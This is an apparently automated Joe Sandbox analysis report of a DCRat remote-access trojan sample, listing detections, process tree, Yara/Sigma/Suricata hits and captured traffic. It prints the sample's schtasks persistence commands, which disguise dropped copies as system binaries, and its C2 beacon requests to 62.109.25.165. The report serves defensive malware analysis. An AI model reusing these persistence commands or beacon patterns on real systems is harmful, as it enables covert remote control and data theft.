Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
TodjHkXUZB.exe

Overview

General Information

Sample name:TodjHkXUZB.exe
renamed because original name is a hash value
Original sample name:1ec0ef270ff4b08fa5b6436ab0ed39d0.exe
Analysis ID:1580555
MD5:1ec0ef270ff4b08fa5b6436ab0ed39d0
SHA1:363e5655608be17b3ba57bf54cd2de3be943afb4
SHA256:98372c461f60eb37116d1a876433e4d333126ddbec61cfafa7e4ed64a9f7a844
Tags:DCRatexeuser-abuse_ch
Infos:

Detection

DCRat
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Schedule system process
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected DCRat
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
AI detected suspicious sample
Creates an autostart registry key pointing to binary in C:\Windows
Creates multiple autostart registry keys
Creates processes via WMI
Drops executables to the windows directory (C:\Windows) and starts them
Machine Learning detection for dropped file
Machine Learning detection for sample
Sigma detected: Execution from Suspicious Folder
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: Suspicious Program Location with Network Connections
Sigma detected: System File Execution Location Anomaly
Uses schtasks.exe or at.exe to add and modify task schedules
Allocates memory with a write watch (potentially for evading sandboxes)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Dllhost Internet Connection
Sigma detected: Suspicious File Created In PerfLogs
Sigma detected: Suspicious Schtasks From Env Var Folder
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • TodjHkXUZB.exe (PID: 7512 cmdline: "C:\Users\user\Desktop\TodjHkXUZB.exe" MD5: 1EC0EF270FF4B08FA5B6436AB0ED39D0)
    • schtasks.exe (PID: 7564 cmdline: schtasks.exe /create /tn "crQsxZqWXkIyquEQmzM" /sc ONLOGON /tr "'C:\ProgramData\Documents\My Pictures\crQsxZqWXkIyquEQmzM.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
    • schtasks.exe (PID: 7588 cmdline: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\PerfLogs\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
    • schtasks.exe (PID: 7612 cmdline: schtasks.exe /create /tn "crQsxZqWXkIyquEQmzM" /sc ONLOGON /tr "'C:\Users\user\Saved Games\crQsxZqWXkIyquEQmzM.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
    • schtasks.exe (PID: 7636 cmdline: schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Users\user\Searches\TextInputHost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
    • schtasks.exe (PID: 7660 cmdline: schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\System32\nettraceex\dllhost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
    • schtasks.exe (PID: 7684 cmdline: schtasks.exe /create /tn "crQsxZqWXkIyquEQmzM" /sc ONLOGON /tr "'C:\Program Files (x86)\jdownloader\config\crQsxZqWXkIyquEQmzM.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
    • cmd.exe (PID: 7720 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\axOZ6YsJUi.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • w32tm.exe (PID: 7768 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)
      • TodjHkXUZB.exe (PID: 8020 cmdline: "C:\Users\user\Desktop\TodjHkXUZB.exe" MD5: 1EC0EF270FF4B08FA5B6436AB0ED39D0)
  • crQsxZqWXkIyquEQmzM.exe (PID: 7812 cmdline: "C:\Program Files (x86)\jdownloader\config\crQsxZqWXkIyquEQmzM.exe" MD5: 1EC0EF270FF4B08FA5B6436AB0ED39D0)
  • dllhost.exe (PID: 7828 cmdline: C:\Windows\System32\nettraceex\dllhost.exe MD5: 1EC0EF270FF4B08FA5B6436AB0ED39D0)
  • RuntimeBroker.exe (PID: 7848 cmdline: C:\PerfLogs\RuntimeBroker.exe MD5: 1EC0EF270FF4B08FA5B6436AB0ED39D0)
  • TextInputHost.exe (PID: 7868 cmdline: C:\Users\user\Searches\TextInputHost.exe MD5: 1EC0EF270FF4B08FA5B6436AB0ED39D0)
  • crQsxZqWXkIyquEQmzM.exe (PID: 8144 cmdline: "C:\Program Files (x86)\jdownloader\config\crQsxZqWXkIyquEQmzM.exe" MD5: 1EC0EF270FF4B08FA5B6436AB0ED39D0)
  • dllhost.exe (PID: 5928 cmdline: "C:\Windows\System32\nettraceex\dllhost.exe" MD5: 1EC0EF270FF4B08FA5B6436AB0ED39D0)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
DCRatDCRat is a typical RAT that has been around since at least June 2019.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000B.00000002.1760201778.0000000002361000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
    0000000B.00000002.1760201778.0000000002361000.00000004.00000800.00020000.00000000.sdmpMALWARE_Win_AsyncRATDetects AsyncRATditekSHen
    • 0x1c038:$s8: Win32_ComputerSystem
    • 0x1c268:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
    • 0x1c306:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
    • 0x1c41c:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
    • 0x17070:$cnc4: POST / HTTP/1.1
    00000000.00000002.1689200346.00000000023D5000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
      00000000.00000002.1689200346.0000000002391000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DCRat_1Yara detected DCRatJoe Security
        00000000.00000002.1689200346.0000000002391000.00000004.00000800.00020000.00000000.sdmpMALWARE_Win_AsyncRATDetects AsyncRATditekSHen
        • 0x1c008:$s8: Win32_ComputerSystem
        • 0x1c238:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
        • 0x1c2d6:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
        • 0x1c3ec:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
        • 0x17040:$cnc4: POST / HTTP/1.1
        Click to see the 25 entries

        Sigma Signatures

        System Summary

        barindex
        Sigma detected: Execution from Suspicious Folder
        Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\PerfLogs\RuntimeBroker.exe, CommandLine: C:\PerfLogs\RuntimeBroker.exe, CommandLine|base64offset|contains: , Image: C:\PerfLogs\RuntimeBroker.exe, NewProcessName: C:\PerfLogs\RuntimeBroker.exe, OriginalFileName: C:\PerfLogs\RuntimeBroker.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\PerfLogs\RuntimeBroker.exe, ProcessId: 7848, ProcessName: RuntimeBroker.exe
        Sigma detected: Files With System Process Name In Unsuspected Locations
        Source: File createdAuthor: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\TodjHkXUZB.exe, ProcessId: 7512, TargetFilename: C:\PerfLogs\RuntimeBroker.exe
        Sigma detected: Suspicious Program Location with Network Connections
        Source: Network ConnectionAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 62.109.25.165, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\PerfLogs\RuntimeBroker.exe, Initiated: true, ProcessId: 7848, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731
        Sigma detected: System File Execution Location Anomaly
        Source: Process startedAuthor: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: C:\PerfLogs\RuntimeBroker.exe, CommandLine: C:\PerfLogs\RuntimeBroker.exe, CommandLine|base64offset|contains: , Image: C:\PerfLogs\RuntimeBroker.exe, NewProcessName: C:\PerfLogs\RuntimeBroker.exe, OriginalFileName: C:\PerfLogs\RuntimeBroker.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\PerfLogs\RuntimeBroker.exe, ProcessId: 7848, ProcessName: RuntimeBroker.exe
        Sigma detected: CurrentVersion Autorun Keys Modification
        Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\ProgramData\Documents\My Pictures\crQsxZqWXkIyquEQmzM.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\TodjHkXUZB.exe, ProcessId: 7512, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\crQsxZqWXkIyquEQmzM
        Sigma detected: Dllhost Internet Connection
        Source: Network ConnectionAuthor: bartblaze: Data: DestinationIp: 62.109.25.165, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\nettraceex\dllhost.exe, Initiated: true, ProcessId: 5928, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49739
        Sigma detected: Suspicious File Created In PerfLogs
        Source: File createdAuthor: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\TodjHkXUZB.exe, ProcessId: 7512, TargetFilename: C:\PerfLogs\RuntimeBroker.exe
        Sigma detected: Suspicious Schtasks From Env Var Folder
        Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\PerfLogs\RuntimeBroker.exe'" /rl HIGHEST /f, CommandLine: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\PerfLogs\RuntimeBroker.exe'" /rl HIGHEST /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\TodjHkXUZB.exe", ParentImage: C:\Users\user\Desktop\TodjHkXUZB.exe, ParentProcessId: 7512, ParentProcessName: TodjHkXUZB.exe, ProcessCommandLine: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\PerfLogs\RuntimeBroker.exe'" /rl HIGHEST /f, ProcessId: 7588, ProcessName: schtasks.exe

        Persistence and Installation Behavior

        barindex
        Sigma detected: Schedule system process
        Source: Process startedAuthor: Joe Security: Data: Command: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\PerfLogs\RuntimeBroker.exe'" /rl HIGHEST /f, CommandLine: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\PerfLogs\RuntimeBroker.exe'" /rl HIGHEST /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\TodjHkXUZB.exe", ParentImage: C:\Users\user\Desktop\TodjHkXUZB.exe, ParentProcessId: 7512, ParentProcessName: TodjHkXUZB.exe, ProcessCommandLine: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\PerfLogs\RuntimeBroker.exe'" /rl HIGHEST /f, ProcessId: 7588, ProcessName: schtasks.exe

        Suricata Signatures

        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
        2024-12-25T05:32:03.378205+010020341941A Network Trojan was detected192.168.2.44973062.109.25.16580TCP
        2024-12-25T05:32:03.532975+010020341941A Network Trojan was detected192.168.2.44973162.109.25.16580TCP
        2024-12-25T05:32:14.049978+010020341941A Network Trojan was detected192.168.2.44973262.109.25.16580TCP
        2024-12-25T05:32:38.219255+010020341941A Network Trojan was detected192.168.2.44973962.109.25.16580TCP

        Joe Sandbox Signatures

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Antivirus / Scanner detection for submitted sample
        Source: TodjHkXUZB.exeAvira: detected
        Antivirus detection for URL or domain
        Source: http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?FM1JAvira URL Cloud: Label: malware
        Source: http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFB&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFBAvira URL Cloud: Label: malware
        Source: http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?RLBBAvira URL Cloud: Label: malware
        Source: http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaU&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaUAvira URL Cloud: Label: malware
        Source: http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?AVMJAvira URL Cloud: Label: malware
        Source: http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAw&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAwAvira URL Cloud: Label: malware
        Source: http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?Ew1JAvira URL Cloud: Label: malware
        Source: http://62.109.25.165/logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?AVMJaed=GdzBF2U&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&AVMJaed=GdzBF2UAvira URL Cloud: Label: malware
        Antivirus detection for dropped file
        Source: C:\Users\user\AppData\Local\Temp\axOZ6YsJUi.batAvira: detection malicious, Label: BAT/Delbat.C
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeAvira: detection malicious, Label: HEUR/AGEN.1323343
        Source: C:\Windows\System32\nettraceex\dllhost.exeAvira: detection malicious, Label: HEUR/AGEN.1323343
        Source: C:\PerfLogs\RuntimeBroker.exeAvira: detection malicious, Label: HEUR/AGEN.1323343
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeAvira: detection malicious, Label: HEUR/AGEN.1323343
        Source: C:\Users\user\Searches\TextInputHost.exeAvira: detection malicious, Label: HEUR/AGEN.1323343
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeAvira: detection malicious, Label: HEUR/AGEN.1323343
        Multi AV Scanner detection for dropped file
        Source: C:\PerfLogs\RuntimeBroker.exeReversingLabs: Detection: 78%
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeReversingLabs: Detection: 78%
        Source: C:\Users\Public\Pictures\crQsxZqWXkIyquEQmzM.exeReversingLabs: Detection: 78%
        Source: C:\Users\user\Saved Games\crQsxZqWXkIyquEQmzM.exeReversingLabs: Detection: 78%
        Source: C:\Users\user\Searches\TextInputHost.exeReversingLabs: Detection: 78%
        Source: C:\Windows\System32\nettraceex\dllhost.exeReversingLabs: Detection: 78%
        Multi AV Scanner detection for submitted file
        Source: TodjHkXUZB.exeVirustotal: Detection: 79%Perma Link
        Source: TodjHkXUZB.exeReversingLabs: Detection: 78%
        AI detected suspicious sample
        Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
        Machine Learning detection for dropped file
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeJoe Sandbox ML: detected
        Source: C:\Windows\System32\nettraceex\dllhost.exeJoe Sandbox ML: detected
        Source: C:\PerfLogs\RuntimeBroker.exeJoe Sandbox ML: detected
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeJoe Sandbox ML: detected
        Source: C:\Users\user\Searches\TextInputHost.exeJoe Sandbox ML: detected
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeJoe Sandbox ML: detected
        Machine Learning detection for sample
        Source: TodjHkXUZB.exeJoe Sandbox ML: detected
        Source: TodjHkXUZB.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
        Source: TodjHkXUZB.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeCode function: 4x nop then jmp 00007FFD9B7F896Bh10_2_00007FFD9B7F8934
        Source: C:\Windows\System32\nettraceex\dllhost.exeCode function: 4x nop then jmp 00007FFD9BAB896Bh19_2_00007FFD9BAB8934
        Source: C:\Windows\System32\nettraceex\dllhost.exeCode function: 4x nop then jmp 00007FFD9BAB1768h19_2_00007FFD9BAB0F69

        Networking

        barindex
        Suricata IDS alerts for network traffic
        Source: Network trafficSuricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.4:49730 -> 62.109.25.165:80
        Source: Network trafficSuricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.4:49739 -> 62.109.25.165:80
        Source: Network trafficSuricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.4:49731 -> 62.109.25.165:80
        Source: Network trafficSuricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.4:49732 -> 62.109.25.165:80
        System process connects to network (likely due to code injection or exploit)
        Source: C:\Windows\System32\nettraceex\dllhost.exeNetwork Connect: 62.109.25.165 80
        Source: Joe Sandbox ViewASN Name: THEFIRST-ASRU THEFIRST-ASRU
        Source: global trafficHTTP traffic detected: GET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaU&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaU HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36Host: 62.109.25.165Connection: Keep-Alive
        Source: global trafficHTTP traffic detected: GET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFB&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFB HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 62.109.25.165Connection: Keep-Alive
        Source: global trafficHTTP traffic detected: GET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaU&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaU HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36Host: 62.109.25.165
        Source: global trafficHTTP traffic detected: GET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFB&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&Ew1JcOnZIpIdmkpBBHgr5pFtzlk1xCn=2ryfxXmZBxF8CaD&tgi=YcDZrIT0nvmFB HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 62.109.25.165
        Source: global trafficHTTP traffic detected: GET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAw&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAw HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1Host: 62.109.25.165Connection: Keep-Alive
        Source: global trafficHTTP traffic detected: GET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAw&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&RLBBKVwcdizJiEfb8gsnzY=nfdgefKZBm8ilTxaczcJwMXdTkAw HTTP/1.1Accept: */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1Host: 62.109.25.165
        Source: global trafficHTTP traffic detected: GET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?AVMJaed=GdzBF2U&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&AVMJaed=GdzBF2U HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1Host: 62.109.25.165Connection: Keep-Alive
        Source: global trafficHTTP traffic detected: GET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?AVMJaed=GdzBF2U&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&AVMJaed=GdzBF2U HTTP/1.1Accept: */*Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1Host: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: unknownTCP traffic detected without corresponding DNS query: 62.109.25.165
        Source: global trafficHTTP traffic detected: GET /logdata/rulelog/Auto/message/logdemoCpuPref/demo/ProviderVideo_dletemp.php?FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaU&25decae1aacbb1a4374d77edba481013=4f98dc59d65ec26cd2bbfb0fc740e685&af5982d2761424b6b4b8e8afc2b7722b=gMjJWOwUmMzETZlFWOxgjNilTN4QDNjVTZhJGMyADNzkDMllzY5gzM&FM1JfUY48EJH=Xj7Evt4wwIgYodolPSzaU HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36Host: 62.109.25.165Connection: Keep-Alive
